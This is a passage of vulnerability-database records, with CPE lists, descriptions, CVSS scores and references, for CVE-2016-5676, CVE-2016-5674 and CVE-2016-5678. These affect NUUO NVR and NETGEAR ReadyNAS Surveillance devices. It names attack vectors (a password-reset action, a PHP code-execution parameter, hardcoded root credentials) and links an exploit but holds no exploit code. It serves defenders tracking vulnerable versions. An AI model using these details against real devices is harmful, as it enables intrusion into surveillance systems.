| nuuo | nvrsolo | 2.0.1 | |
| nuuo | nvrsolo | 2.1.5 | |
| nuuo | nvrsolo | 2.2.2 | |
| nuuo | nvrsolo | 2.3 | |
| nuuo | nvrsolo | 2.3.1.20 | |
| nuuo | nvrsolo | 2.3.7.9 | |
| nuuo | nvrsolo | 2.3.7.10 | |
| nuuo | nvrsolo | 2.3.9.6 | |
| nuuo | nvrsolo | 3.0.0 | |
| nuuo | nvrmini_2 | 1.7.5 | |
| nuuo | nvrmini_2 | 1.7.6 | |
| nuuo | nvrmini_2 | 2.0.0 | |
| nuuo | nvrmini_2 | 2.2.1 | |
| nuuo | nvrmini_2 | 3.0.0 |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.1.1:*:*:*:*:*:*:*",
"matchCriteriaId": "E9350713-FE2D-4E0B-9F8C-DC75D39DBE94",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.1.2:*:*:*:*:*:*:*",
"matchCriteriaId": "EA1225D7-C268-4343-9988-7A75416B9860",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.2.0.4:*:*:*:*:*:*:*",
"matchCriteriaId": "B4596B86-FE04-4EF0-B2B0-DEA2F435FF19",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.3.2.4:*:*:*:*:*:*:*",
"matchCriteriaId": "000CBDBE-2C3C-4502-86A7-C3D098DE3C5B",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.3.2.14:*:*:*:*:*:*:*",
"matchCriteriaId": "2FA3A6C7-3EB1-466F-A2A4-C221821D1811",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.4.0:*:*:*:*:*:*:*",
"matchCriteriaId": "B7D6B8FE-33D3-4080-BFF4-7EE8E2554CFC",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.4.1:*:*:*:*:*:*:*",
"matchCriteriaId": "44FC066D-B18D-4BC3-B43B-AA83EB186C7D",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.4.2:*:*:*:*:*:*:*",
"matchCriteriaId": "D335E352-75D8-4A05-A040-2543B2B016DF",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.75:*:*:*:*:*:*:*",
"matchCriteriaId": "E652B5F9-1A30-4830-A6C3-666998D29225",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "C09EB9FB-26CB-4A2D-9113-882D80BC9BBD",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.0.1:*:*:*:*:*:*:*",
"matchCriteriaId": "1D76A17A-872C-4281-8525-BA9388F181F8",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.1.5:*:*:*:*:*:*:*",
"matchCriteriaId": "DDEC215A-2E41-4CF6-BB86-BC472CDDC9AD",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.2.2:*:*:*:*:*:*:*",
"matchCriteriaId": "0EF7E86B-2D6D-41B2-B676-D963FAF622A8",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.3:*:*:*:*:*:*:*",
"matchCriteriaId": "C23EF235-9834-48E7-8B92-AE0EE0F461B5",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.3.1.20:*:*:*:*:*:*:*",
"matchCriteriaId": "CE643FA9-EF8E-43A3-8E0C-819EC434040F",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.3.7.9:*:*:*:*:*:*:*",
"matchCriteriaId": "4347D1E4-E162-462E-9A30-2DF79A0010EA",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.3.7.10:*:*:*:*:*:*:*",
"matchCriteriaId": "20B9E362-D36F-49BC-B695-46796662A3F0",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.3.9.6:*:*:*:*:*:*:*",
"matchCriteriaId": "51998757-3AAB-40E4-BDAB-B027843F1DBE",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:3.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "EBCF388E-9FBD-4A85-9BA6-0DF7C85632EC",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:1.7.5:*:*:*:*:*:*:*",
"matchCriteriaId": "7F373AAC-B792-45AB-B4FE-37FC6A91DE7B",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:1.7.6:*:*:*:*:*:*:*",
"matchCriteriaId": "9BD02ABB-65FF-4F08-9C99-69BB03A2AE07",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:2.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "949274A8-E85A-4344-A4F2-2E038B877874",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:2.2.1:*:*:*:*:*:*:*",
"matchCriteriaId": "AD3D600A-4E84-416C-BAAE-70684DCFD15E",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:3.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "1EA286A6-CCCD-419A-B9DC-10F4B59FF2FB",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "cgi-bin/cgi_system in NUUO NVRmini 2 1.7.5 through 2.x, NUUO NVRsolo 1.7.5 through 2.x, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to reset the administrator password via a cmd=loaddefconfig action."
},
{
"lang": "es",
"value": "cgi-bin/cgi_system en NUUO NVRmini 2 1.7.5 hasta la versi\u00f3n 2.x, NUUO NVRsolo 1.7.5 hasta la versi\u00f3n 2.x y NETGEAR ReadyNAS Surveillance 1.1.1 hasta la versi\u00f3n 1.4.1 permite a atacantes remotos reiniciar la contrase\u00f1a de administrador a trav\u00e9s de una acci\u00f3n cmd=loaddefconfig."
}
],
"id": "CVE-2016-5676",
"lastModified": "2024-11-21T02:54:48.313",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "NONE",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N",
"version": "2.0"
},
"exploitabilityScore": 10.0,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.0"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2016-08-31T15:59:02.657",
"references": [
{
"source": "cret@cert.org",
"tags": [
"Third Party Advisory",
"US Government Resource"
],
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"source": "cret@cert.org",
"url": "http://www.securityfocus.com/bid/92318"
},
{
"source": "cret@cert.org",
"url": "https://www.exploit-db.com/exploits/40200/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"US Government Resource"
],
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"url": "http://www.securityfocus.com/bid/92318"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"url": "https://www.exploit-db.com/exploits/40200/"
}
],
"sourceIdentifier": "cret@cert.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-285"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
| ▼ | URL | Tags | |
|---|---|---|---|
| cret@cert.org | http://www.kb.cert.org/vuls/id/856152 | Third Party Advisory, US Government Resource | |
| cret@cert.org | http://www.securityfocus.com/bid/92318 | ||
| cret@cert.org | https://www.exploit-db.com/exploits/40200/ | ||
| af854a3a-2127-422b-91ae-364da2661108 | http://www.kb.cert.org/vuls/id/856152 | Third Party Advisory, US Government Resource | |
| af854a3a-2127-422b-91ae-364da2661108 | http://www.securityfocus.com/bid/92318 | ||
| af854a3a-2127-422b-91ae-364da2661108 | https://www.exploit-db.com/exploits/40200/ |
| Vendor | Product | Version | |
|---|---|---|---|
| netgear | readynas_surveillance | 1.1.1 | |
| netgear | readynas_surveillance | 1.1.2 | |
| netgear | readynas_surveillance | 1.2.0.4 | |
| netgear | readynas_surveillance | 1.3.2.4 | |
| netgear | readynas_surveillance | 1.3.2.14 | |
| netgear | readynas_surveillance | 1.4.0 | |
| netgear | readynas_surveillance | 1.4.1 | |
| netgear | readynas_surveillance | 1.4.2 | |
| nuuo | nvrmini_2 | 1.7.5 | |
| nuuo | nvrmini_2 | 1.7.6 | |
| nuuo | nvrmini_2 | 2.0.0 | |
| nuuo | nvrmini_2 | 2.2.1 | |
| nuuo | nvrmini_2 | 3.0.0 | |
| nuuo | nvrsolo | 1.75 | |
| nuuo | nvrsolo | 2.0.0 | |
| nuuo | nvrsolo | 2.0.1 | |
| nuuo | nvrsolo | 2.1.5 | |
| nuuo | nvrsolo | 2.2.2 | |
| nuuo | nvrsolo | 2.3 | |
| nuuo | nvrsolo | 2.3.1.20 | |
| nuuo | nvrsolo | 2.3.7.9 | |
| nuuo | nvrsolo | 2.3.7.10 | |
| nuuo | nvrsolo | 2.3.9.6 | |
| nuuo | nvrsolo | 3.0.0 |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.1.1:*:*:*:*:*:*:*",
"matchCriteriaId": "E9350713-FE2D-4E0B-9F8C-DC75D39DBE94",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.1.2:*:*:*:*:*:*:*",
"matchCriteriaId": "EA1225D7-C268-4343-9988-7A75416B9860",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.2.0.4:*:*:*:*:*:*:*",
"matchCriteriaId": "B4596B86-FE04-4EF0-B2B0-DEA2F435FF19",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.3.2.4:*:*:*:*:*:*:*",
"matchCriteriaId": "000CBDBE-2C3C-4502-86A7-C3D098DE3C5B",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.3.2.14:*:*:*:*:*:*:*",
"matchCriteriaId": "2FA3A6C7-3EB1-466F-A2A4-C221821D1811",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.4.0:*:*:*:*:*:*:*",
"matchCriteriaId": "B7D6B8FE-33D3-4080-BFF4-7EE8E2554CFC",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.4.1:*:*:*:*:*:*:*",
"matchCriteriaId": "44FC066D-B18D-4BC3-B43B-AA83EB186C7D",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:netgear:readynas_surveillance:1.4.2:*:*:*:*:*:*:*",
"matchCriteriaId": "D335E352-75D8-4A05-A040-2543B2B016DF",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:1.7.5:*:*:*:*:*:*:*",
"matchCriteriaId": "7F373AAC-B792-45AB-B4FE-37FC6A91DE7B",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:1.7.6:*:*:*:*:*:*:*",
"matchCriteriaId": "9BD02ABB-65FF-4F08-9C99-69BB03A2AE07",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:2.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "949274A8-E85A-4344-A4F2-2E038B877874",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:2.2.1:*:*:*:*:*:*:*",
"matchCriteriaId": "AD3D600A-4E84-416C-BAAE-70684DCFD15E",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:3.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "1EA286A6-CCCD-419A-B9DC-10F4B59FF2FB",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.75:*:*:*:*:*:*:*",
"matchCriteriaId": "E652B5F9-1A30-4830-A6C3-666998D29225",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "C09EB9FB-26CB-4A2D-9113-882D80BC9BBD",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.0.1:*:*:*:*:*:*:*",
"matchCriteriaId": "1D76A17A-872C-4281-8525-BA9388F181F8",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.1.5:*:*:*:*:*:*:*",
"matchCriteriaId": "DDEC215A-2E41-4CF6-BB86-BC472CDDC9AD",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.2.2:*:*:*:*:*:*:*",
"matchCriteriaId": "0EF7E86B-2D6D-41B2-B676-D963FAF622A8",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.3:*:*:*:*:*:*:*",
"matchCriteriaId": "C23EF235-9834-48E7-8B92-AE0EE0F461B5",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.3.1.20:*:*:*:*:*:*:*",
"matchCriteriaId": "CE643FA9-EF8E-43A3-8E0C-819EC434040F",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.3.7.9:*:*:*:*:*:*:*",
"matchCriteriaId": "4347D1E4-E162-462E-9A30-2DF79A0010EA",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.3.7.10:*:*:*:*:*:*:*",
"matchCriteriaId": "20B9E362-D36F-49BC-B695-46796662A3F0",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.3.9.6:*:*:*:*:*:*:*",
"matchCriteriaId": "51998757-3AAB-40E4-BDAB-B027843F1DBE",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:3.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "EBCF388E-9FBD-4A85-9BA6-0DF7C85632EC",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "__debugging_center_utils___.php in NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.7.5 through 3.0.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to execute arbitrary PHP code via the log parameter."
},
{
"lang": "es",
"value": "__debugging_center_utils___.php en NUUO NVRmini 2 1.7.5 hasta la versi\u00f3n 3.0.0, NUUO NVRsolo 1.7.5 hasta la versi\u00f3n 3.0.0 y NETGEAR ReadyNAS Surveillance 1.1.1 hasta la versi\u00f3n 1.4.1 permite a atacantes remotos ejecutar c\u00f3digo PHP arbitrario a trav\u00e9s del par\u00e1metro de registro."
}
],
"id": "CVE-2016-5674",
"lastModified": "2024-11-21T02:54:48.057",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"integrityImpact": "COMPLETE",
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
"exploitabilityScore": 10.0,
"impactScore": 10.0,
"obtainAllPrivilege": true,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2016-08-31T15:59:00.153",
"references": [
{
"source": "cret@cert.org",
"tags": [
"Third Party Advisory",
"US Government Resource"
],
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"source": "cret@cert.org",
"url": "http://www.securityfocus.com/bid/92318"
},
{
"source": "cret@cert.org",
"url": "https://www.exploit-db.com/exploits/40200/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"US Government Resource"
],
"url": "http://www.kb.cert.org/vuls/id/856152"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"url": "http://www.securityfocus.com/bid/92318"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"url": "https://www.exploit-db.com/exploits/40200/"
}
],
"sourceIdentifier": "cret@cert.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-20"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
| ▼ | URL | Tags | |
|---|---|---|---|
| cret@cert.org | http://www.kb.cert.org/vuls/id/856152 | Third Party Advisory, US Government Resource | |
| cret@cert.org | http://www.securityfocus.com/bid/92318 | ||
| cret@cert.org | https://www.exploit-db.com/exploits/40200/ | ||
| af854a3a-2127-422b-91ae-364da2661108 | http://www.kb.cert.org/vuls/id/856152 | Third Party Advisory, US Government Resource | |
| af854a3a-2127-422b-91ae-364da2661108 | http://www.securityfocus.com/bid/92318 | ||
| af854a3a-2127-422b-91ae-364da2661108 | https://www.exploit-db.com/exploits/40200/ |
| Vendor | Product | Version | |
|---|---|---|---|
| nuuo | nvrmini_2 | 1.0.0 | |
| nuuo | nvrmini_2 | 1.1.0 | |
| nuuo | nvrmini_2 | 1.3.0 | |
| nuuo | nvrmini_2 | 1.3.2 | |
| nuuo | nvrmini_2 | 1.4.0 | |
| nuuo | nvrmini_2 | 1.5.1 | |
| nuuo | nvrmini_2 | 1.5.2 | |
| nuuo | nvrmini_2 | 1.6.0 | |
| nuuo | nvrmini_2 | 1.6.1 | |
| nuuo | nvrmini_2 | 1.6.2 | |
| nuuo | nvrmini_2 | 1.6.4 | |
| nuuo | nvrmini_2 | 1.7.0 | |
| nuuo | nvrmini_2 | 1.7.1 | |
| nuuo | nvrmini_2 | 1.7.2 | |
| nuuo | nvrmini_2 | 1.7.5 | |
| nuuo | nvrmini_2 | 1.7.6 | |
| nuuo | nvrmini_2 | 2.0.0 | |
| nuuo | nvrmini_2 | 2.2.1 | |
| nuuo | nvrmini_2 | 3.0.0 | |
| nuuo | nvrsolo | 1.0.0 | |
| nuuo | nvrsolo | 1.0.1 | |
| nuuo | nvrsolo | 1.1.0 | |
| nuuo | nvrsolo | 1.1.0.117 | |
| nuuo | nvrsolo | 1.1.1 | |
| nuuo | nvrsolo | 1.1.2 | |
| nuuo | nvrsolo | 1.2.0 | |
| nuuo | nvrsolo | 1.3.0 | |
| nuuo | nvrsolo | 1.75 | |
| nuuo | nvrsolo | 2.0.0 | |
| nuuo | nvrsolo | 2.0.1 | |
| nuuo | nvrsolo | 2.1.5 | |
| nuuo | nvrsolo | 2.2.2 | |
| nuuo | nvrsolo | 2.3 | |
| nuuo | nvrsolo | 2.3.1.20 | |
| nuuo | nvrsolo | 2.3.7.9 | |
| nuuo | nvrsolo | 2.3.7.10 | |
| nuuo | nvrsolo | 2.3.9.6 | |
| nuuo | nvrsolo | 3.0.0 |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:1.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "21DA50EB-719E-4226-97AF-5DB8A6465825",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:1.1.0:*:*:*:*:*:*:*",
"matchCriteriaId": "711F783D-1CB0-4C82-8E1A-538C4B8FE21B",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:1.3.0:*:*:*:*:*:*:*",
"matchCriteriaId": "E99AF4F7-B23A-4966-99CD-ECC45B018995",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:1.3.2:*:*:*:*:*:*:*",
"matchCriteriaId": "2345305B-8C92-48E4-84F7-A44ED1E44DA3",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:1.4.0:*:*:*:*:*:*:*",
"matchCriteriaId": "359D8204-E88C-44FF-8C46-1C131F03D040",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:1.5.1:*:*:*:*:*:*:*",
"matchCriteriaId": "0CE9AAE4-3E79-4504-B7C1-2A3D36BEF90E",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:1.5.2:*:*:*:*:*:*:*",
"matchCriteriaId": "F11EB77F-41E2-47EE-A13B-235E5606AEF6",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:1.6.0:*:*:*:*:*:*:*",
"matchCriteriaId": "32872292-7606-4634-BCA1-2D5FE1E33F63",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:1.6.1:*:*:*:*:*:*:*",
"matchCriteriaId": "7A52B2CA-F7F4-4A8B-8C2D-1FF07A22DCE9",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:1.6.2:*:*:*:*:*:*:*",
"matchCriteriaId": "4831A4A4-134E-40EE-B33F-40569E213E7E",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:1.6.4:*:*:*:*:*:*:*",
"matchCriteriaId": "3466104B-B6DF-4026-BD81-3AD622B9723B",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:1.7.0:*:*:*:*:*:*:*",
"matchCriteriaId": "02A8ECFB-39E9-4E40-9008-F0F51762C221",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:1.7.1:*:*:*:*:*:*:*",
"matchCriteriaId": "36F91C7D-DC43-41AD-A426-167E148AC050",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:1.7.2:*:*:*:*:*:*:*",
"matchCriteriaId": "42017532-038A-42B5-910E-734FC930C6B3",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:1.7.5:*:*:*:*:*:*:*",
"matchCriteriaId": "7F373AAC-B792-45AB-B4FE-37FC6A91DE7B",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:1.7.6:*:*:*:*:*:*:*",
"matchCriteriaId": "9BD02ABB-65FF-4F08-9C99-69BB03A2AE07",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:2.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "949274A8-E85A-4344-A4F2-2E038B877874",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:2.2.1:*:*:*:*:*:*:*",
"matchCriteriaId": "AD3D600A-4E84-416C-BAAE-70684DCFD15E",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrmini_2:3.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "1EA286A6-CCCD-419A-B9DC-10F4B59FF2FB",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "825FB36D-A956-4C1A-8347-54847D2A165E",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.0.1:*:*:*:*:*:*:*",
"matchCriteriaId": "786F893A-E3F2-4FC5-A43D-4812CCEF4C9F",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.1.0:*:*:*:*:*:*:*",
"matchCriteriaId": "FD3CF36E-67F3-40B9-A5F2-64B0165CA6C8",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.1.0.117:*:*:*:*:*:*:*",
"matchCriteriaId": "0796B887-E3B9-4A15-99E5-B1853E02D6EA",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.1.1:*:*:*:*:*:*:*",
"matchCriteriaId": "4BBFC870-408C-447D-B36F-0720074BAEF4",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.1.2:*:*:*:*:*:*:*",
"matchCriteriaId": "67ADE7D2-BEB9-4333-8211-CF8C84E85B25",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.2.0:*:*:*:*:*:*:*",
"matchCriteriaId": "24440F32-559E-407F-BC83-A272DEA20002",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.3.0:*:*:*:*:*:*:*",
"matchCriteriaId": "6486CDA6-FEDD-4A3D-8123-0A1C71699FB3",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:1.75:*:*:*:*:*:*:*",
"matchCriteriaId": "E652B5F9-1A30-4830-A6C3-666998D29225",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "C09EB9FB-26CB-4A2D-9113-882D80BC9BBD",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.0.1:*:*:*:*:*:*:*",
"matchCriteriaId": "1D76A17A-872C-4281-8525-BA9388F181F8",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.1.5:*:*:*:*:*:*:*",
"matchCriteriaId": "DDEC215A-2E41-4CF6-BB86-BC472CDDC9AD",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.2.2:*:*:*:*:*:*:*",
"matchCriteriaId": "0EF7E86B-2D6D-41B2-B676-D963FAF622A8",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.3:*:*:*:*:*:*:*",
"matchCriteriaId": "C23EF235-9834-48E7-8B92-AE0EE0F461B5",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.3.1.20:*:*:*:*:*:*:*",
"matchCriteriaId": "CE643FA9-EF8E-43A3-8E0C-819EC434040F",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.3.7.9:*:*:*:*:*:*:*",
"matchCriteriaId": "4347D1E4-E162-462E-9A30-2DF79A0010EA",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.3.7.10:*:*:*:*:*:*:*",
"matchCriteriaId": "20B9E362-D36F-49BC-B695-46796662A3F0",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:2.3.9.6:*:*:*:*:*:*:*",
"matchCriteriaId": "51998757-3AAB-40E4-BDAB-B027843F1DBE",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:nuuo:nvrsolo:3.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "EBCF388E-9FBD-4A85-9BA6-0DF7C85632EC",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "NUUO NVRmini 2 1.0.0 through 3.0.0 and NUUO NVRsolo 1.0.0 through 3.0.0 have hardcoded root credentials, which allows remote attackers to obtain administrative access via unspecified vectors."
},
{
"lang": "es",
"value": "NUUO NVRmini 2 1.0.0 hasta la versi\u00f3n 3.0.0 y NUUO NVRsolo 1.0.0 hasta la versi\u00f3n 3.0.0 tienen credenciales root codificadas, lo que permite a atacantes remotos obtener acceso administrativo a trav\u00e9s de vectores no especificados."
}
],
"id": "CVE-2016-5678",
